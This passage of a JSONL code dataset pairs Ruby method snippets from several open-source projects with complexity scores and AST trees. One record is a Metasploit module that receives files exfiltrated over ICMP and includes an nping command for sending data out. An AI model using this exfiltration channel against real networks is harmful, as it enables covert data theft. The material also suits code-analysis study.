end","complexity_score":22.6,"ast_json":"{\"type\":\"def\",\"children\":[\"table_entry\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"value_name\"]},{\"type\":\"arg\",\"children\":[\"caption\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[null,\"format_attribute\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"value_name\"]},{\"type\":\"sym\",\"children\":[\"pdf\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hide_empty_attributes?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"blank?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exports\"]},\"Formatters\"]},\"LinkFormatter\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[null,\"get_cf_link_cell\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value_name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[null,\"make_link_href_cell\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url_helpers\"]},\"project_url\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},null]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"caption\"]}]}]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"styles\"]},\"project_attributes_table_label_cell\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}","id":"a19387cd-ccfb-4e5c-bfa7-6971c58a8f54"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/validations/presence_validation_test.rb","start_line":97,"raw_source":"def test_validates_presence_with_on_context\n    repair_validations(Interest) do\n      Interest.validates_presence_of(:topic, on: :required_name)\n      interest = Interest.new\n      interest.save!\n      assert_not interest.valid?(:required_name)\n    end\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_validates_presence_with_on_context\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repair_validations\",{\"type\":\"const\",\"children\":[null,\"Interest\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Interest\"]},\"validates_presence_of\",{\"type\":\"sym\",\"children\":[\"topic\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on\"]},{\"type\":\"sym\",\"children\":[\"required_name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"interest\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Interest\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"interest\"]},\"save!\"]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"interest\"]},\"valid?\",{\"type\":\"sym\",\"children\":[\"required_name\"]}]}]}]}]}]}","id":"7b439369-4892-4200-abef-b9f95b042fdb"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/services/meetings/icalendar_builder.rb","start_line":155,"raw_source":"def update_calendar_status(cancelled:)\n      if cancelled\n        calendar.cancel\n      else\n        calendar.request\n      end\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"update_calendar_status\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"cancelled\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cancelled\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"calendar\"]},\"cancel\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"calendar\"]},\"request\"]}]}]}","id":"20cdaf43-20c6-400a-a4b6-76fbe574a144"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/quick_actions/work_item_actions.rb","start_line":198,"raw_source":"def apply_type_commands(new_type, command)\n        @updates[:issue_type] = new_type.base_type\n        @updates[:work_item_type] = new_type\n\n        success_msg[command]\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"apply_type_commands\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_type\"]},{\"type\":\"arg\",\"children\":[\"command\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@updates\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"issue_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_type\"]},\"base_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@updates\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"work_item_type\"]},{\"type\":\"lvar\",\"children\":[\"new_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"success_msg\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"command\"]}]}]}]}","id":"77e1d96f-381a-4abf-80d5-ba1fa3247ecc"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-assign/lib/discourse_assign/helpers.rb","start_line":22,"raw_source":"def self.build_indirectly_assigned_to(post_assignments, topic)\n      post_assignments\n        .map do |post_id, assigned_map|\n          assigned_to = assigned_map[:assigned_to]\n          note = assigned_map[:assignment_note]\n          status = assigned_map[:assignment_status]\n          post_number = assigned_map[:post_number]\n\n          if (assigned_to.is_a?(User))\n            [\n              post_id,\n              {\n                assigned_to: build_assigned_to_user(assigned_to, topic),\n                post_number: post_number,\n                assignment_note: note,\n                assignment_status: status,\n              },\n            ]\n          elsif assigned_to.is_a?(Group)\n            [\n              post_id,\n              {\n                assigned_to: build_assigned_to_group(assigned_to, topic),\n                post_number: post_number,\n                assignment_note: note,\n                assignment_status: status,\n              },\n            ]\n          end\n        end\n        .to_h\n    end","complexity_score":23.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"build_indirectly_assigned_to\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post_assignments\"]},{\"type\":\"arg\",\"children\":[\"topic\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_assignments\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post_id\"]},{\"type\":\"arg\",\"children\":[\"assigned_map\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"assigned_to\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assigned_map\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"assigned_to\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"note\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assigned_map\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"assignment_note\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assigned_map\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"assignment_status\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post_number\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assigned_map\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"post_number\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assigned_to\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"User\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"assigned_to\"]},{\"type\":\"send\",\"children\":[null,\"build_assigned_to_user\",{\"type\":\"lvar\",\"children\":[\"assigned_to\"]},{\"type\":\"lvar\",\"children\":[\"topic\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_number\"]},{\"type\":\"lvar\",\"children\":[\"post_number\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"assignment_note\"]},{\"type\":\"lvar\",\"children\":[\"note\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"assignment_status\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assigned_to\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Group\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"assigned_to\"]},{\"type\":\"send\",\"children\":[null,\"build_assigned_to_group\",{\"type\":\"lvar\",\"children\":[\"assigned_to\"]},{\"type\":\"lvar\",\"children\":[\"topic\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_number\"]},{\"type\":\"lvar\",\"children\":[\"post_number\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"assignment_note\"]},{\"type\":\"lvar\",\"children\":[\"note\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"assignment_status\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]},null]}]}]}]},\"to_h\"]}]}","id":"0e6aec7f-9b88-4944-babf-072308688a95"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/client.rb","start_line":1028,"raw_source":"def send_request(method, url_or_path, params, headers, &block)\n      with_retry do\n        response = @client.send(method, url_or_path, params, headers, &block)\n        log_response(method, url_or_path, response, headers, &block)\n\n        handle_error(response)\n\n        if response.body.to_s.include?(\"<title>302 Found</title>\")\n          raise AppleTimeoutError.new, \"Apple 302 detected - this might be temporary server error, check https://developer.apple.com/system-status/ to see if there is a known downtime\"\n        end\n\n        if response.body.to_s.include?(\"<h3>Bad Gateway</h3>\")\n          raise BadGatewayError.new, \"Apple 502 detected - this might be temporary server error, try again later\"\n        end\n\n        return response\n      end\n    end","complexity_score":28.4,"ast_json":"{\"type\":\"def\",\"children\":[\"send_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"arg\",\"children\":[\"url_or_path\"]},{\"type\":\"arg\",\"children\":[\"params\"]},{\"type\":\"arg\",\"children\":[\"headers\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_retry\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"url_or_path\"]},{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"log_response\",{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"url_or_path\"]},{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"send\",\"children\":[null,\"handle_error\",{\"type\":\"lvar\",\"children\":[\"response\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]},\"to_s\"]},\"include?\",{\"type\":\"str\",\"children\":[\"<title>302 Found</title>\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AppleTimeoutError\"]},\"new\"]},{\"type\":\"str\",\"children\":[\"Apple 302 detected - this might be temporary server error, check https://developer.apple.com/system-status/ to see if there is a known downtime\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]},\"to_s\"]},\"include?\",{\"type\":\"str\",\"children\":[\"<h3>Bad Gateway</h3>\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BadGatewayError\"]},\"new\"]},{\"type\":\"str\",\"children\":[\"Apple 502 detected - this might be temporary server error, try again later\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}]}","id":"d503cb74-542d-4125-a74a-450681de4455"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/server/icmp_exfil.rb","start_line":10,"raw_source":"def initialize\n    super(\n      'Name' => 'ICMP Exfiltration Service',\n      'Description' => %q{\n        This module is designed to provide a server-side component to receive and store files\n        exfiltrated over ICMP echo request packets.\n\n        To use this module you will need to send an initial ICMP echo request containing the\n        specific start trigger (defaults to '^BOF') this can be followed by the filename being sent (or\n        a random filename can be assigned). All data received from this source will automatically\n        be added to the receive buffer until an ICMP echo request containing a specific end trigger\n        (defaults to '^EOL') is received.\n\n        Suggested Client:\n        Data can be sent from the client using a variety of tools. One such example is nping (included\n        with the NMAP suite of tools) - usage: nping --icmp 10.0.0.1 --data-string \"BOFtest.txt\" -c1\n      },\n      'Author' => 'Chris John Riley',\n      'License' => MSF_LICENSE,\n      'References' => [\n        # packetfu\n        ['URL', 'https://github.com/todb/packetfu'],\n        # nping\n        ['URL', 'https://nmap.org/book/nping-man.html'],\n        # simple icmp\n        ['URL', 'https://blog.c22.cc/2012/02/17/quick-post-fun-with-python-ctypes-simpleicmp/']\n      ]\n    )\n\n    register_options([\n      OptString.new('START_TRIGGER', [true, 'Trigger for beginning of file', '^BOF']),\n      OptString.new('END_TRIGGER', [true, 'Trigger for end of file', '^EOF']),\n      OptString.new('RESP_START', [true, 'Data to respond when initial trigger matches', 'SEND']),\n      OptString.new('RESP_CONT', [true, 'Data ro resond when continuation of data expected', 'OK']),\n      OptString.new('RESP_END', [true, 'Data to response when EOF received and data saved', 'COMPLETE']),\n      OptString.new('BPF_FILTER', [true, 'BFP format filter to listen for', 'icmp']),\n      OptString.new('INTERFACE', [false, 'The name of the interface']),\n      OptBool.new('FNAME_IN_PACKET', [true, 'Filename presented in first packet straight after START_TRIGGER', true])\n    ])\n\n    register_advanced_options([\n      OptEnum.new('CLOAK', [true, 'OS fingerprint to use for packet creation', 'linux', ['windows', 'linux', 'freebsd']]),\n      OptBool.new('PROMISC', [true, 'Enable/Disable promiscuous mode', false]),\n      OptAddress.new('LOCALIP', [false, 'The IP address of the local interface'])\n    ])\n\n    deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'RHOST', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT', 'TIMEOUT')\n  end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"ICMP Exfiltration Service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        This module is designed to provide a server-side component to receive and store files\\n\"]},{\"type\":\"str\",\"children\":[\"        exfiltrated over ICMP echo request packets.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        To use this module you will need to send an initial ICMP echo request containing the\\n\"]},{\"type\":\"str\",\"children\":[\"        specific start trigger (defaults to '^BOF') this can be followed by the filename being sent (or\\n\"]},{\"type\":\"str\",\"children\":[\"        a random filename can be assigned). All data received from this source will automatically\\n\"]},{\"type\":\"str\",\"children\":[\"        be added to the receive buffer until an ICMP echo request containing a specific end trigger\\n\"]},{\"type\":\"str\",\"children\":[\"        (defaults to '^EOL') is received.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        Suggested Client:\\n\"]},{\"type\":\"str\",\"children\":[\"        Data can be sent from the client using a variety of tools. One such example is nping (included\\n\"]},{\"type\":\"str\",\"children\":[\"        with the NMAP suite of tools) - usage: nping --icmp 10.0.0.1 --data-string \\\"BOFtest.txt\\\" -c1\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"Chris John Riley\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/todb/packetfu\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://nmap.org/book/nping-man.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://blog.c22.cc/2012/02/17/quick-post-fun-with-python-ctypes-simpleicmp/\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"START_TRIGGER\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Trigger for beginning of file\"]},{\"type\":\"str\",\"children\":[\"^BOF\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"END_TRIGGER\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Trigger for end of file\"]},{\"type\":\"str\",\"children\":[\"^EOF\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"RESP_START\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Data to respond when initial trigger matches\"]},{\"type\":\"str\",\"children\":[\"SEND\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"RESP_CONT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Data ro resond when continuation of data expected\"]},{\"type\":\"str\",\"children\":[\"OK\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"RESP_END\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Data to response when EOF received and data saved\"]},{\"type\":\"str\",\"children\":[\"COMPLETE\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"BPF_FILTER\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"BFP format filter to listen for\"]},{\"type\":\"str\",\"children\":[\"icmp\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"INTERFACE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The name of the interface\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"FNAME_IN_PACKET\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Filename presented in first packet straight after START_TRIGGER\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptEnum\"]},\"new\",{\"type\":\"str\",\"children\":[\"CLOAK\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"OS fingerprint to use for packet creation\"]},{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"windows\"]},{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"freebsd\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"PROMISC\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Enable/Disable promiscuous mode\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptAddress\"]},\"new\",{\"type\":\"str\",\"children\":[\"LOCALIP\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The IP address of the local interface\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"SNAPLEN\"]},{\"type\":\"str\",\"children\":[\"FILTER\"]},{\"type\":\"str\",\"children\":[\"PCAPFILE\"]},{\"type\":\"str\",\"children\":[\"RHOST\"]},{\"type\":\"str\",\"children\":[\"SECRET\"]},{\"type\":\"str\",\"children\":[\"GATEWAY_PROBE_HOST\"]},{\"type\":\"str\",\"children\":[\"GATEWAY_PROBE_PORT\"]},{\"type\":\"str\",\"children\":[\"TIMEOUT\"]}]}]}]}","id":"cf606251-7470-440a-84b8-c4f5e70e4d05"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/graphql_introspection_scanner.rb","start_line":240,"raw_source":"def process_errors(errors)\n    return '' if errors&.empty?\n\n    # APIs aren't consistent. Some have an error message, some have title & detail.\n    # Match all the known cases so far, otherwise return the inspected value.\n\n    errors.map do |error|\n      \"  - #{error['message'] || error['detail'] || error['description']}\"\n    end.join(\"\\n\") || ''\n  end","complexity_score":14.3,"ast_json":"{\"type\":\"def\",\"children\":[\"process_errors\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"errors\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"[]\",{\"type\":\"str\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"[]\",{\"type\":\"str\",\"children\":[\"detail\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"[]\",{\"type\":\"str\",\"children\":[\"description\"]}]}]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"c292afe1-8d98-46e1-8ec6-ce2b619f2a94"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb","start_line":517,"raw_source":"def test_columns_for_distinct_without_order_specifiers\n        assert_equal \"posts.updater_id AS alias_0, posts.title\",\n          @connection.columns_for_distinct(\"posts.title\", [\"posts.updater_id\"])\n\n        assert_equal \"posts.updater_id AS alias_0, posts.title\",\n          @connection.columns_for_distinct(\"posts.title\", [\"posts.updater_id nulls last\"])\n\n        assert_equal \"posts.updater_id AS alias_0, posts.title\",\n          @connection.columns_for_distinct(\"posts.title\", [\"posts.updater_id nulls first\"])\n      end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_columns_for_distinct_without_order_specifiers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"posts.updater_id AS alias_0, posts.title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"columns_for_distinct\",{\"type\":\"str\",\"children\":[\"posts.title\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"posts.updater_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"posts.updater_id AS alias_0, posts.title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"columns_for_distinct\",{\"type\":\"str\",\"children\":[\"posts.title\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"posts.updater_id nulls last\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"posts.updater_id AS alias_0, posts.title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"columns_for_distinct\",{\"type\":\"str\",\"children\":[\"posts.title\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"posts.updater_id nulls first\"]}]}]}]}]}]}","id":"c4e32f4c-b9a7-432f-9910-5bb5e9bd045b"}
{"repo_name":"hooks","file_path":"./repos/hooks/lib/hooks/core/plugin_loader.rb","start_line":394,"raw_source":"def valid_handler_class_name?(class_name)\n          # Must be a string\n          return false unless class_name.is_a?(String)\n\n          # Must not be empty or only whitespace\n          return false if class_name.strip.empty?\n\n          # Must match a safe pattern: alphanumeric + underscore, starting with uppercase\n          # Examples: MyHandler, Team1Handler, GitHubHandler\n          return false unless class_name.match?(/\\A[A-Z][a-zA-Z0-9_]*\\z/)\n\n          # Must not be a system/built-in class name\n          return false if Hooks::Security::DANGEROUS_CLASSES.include?(class_name)\n\n          true\n        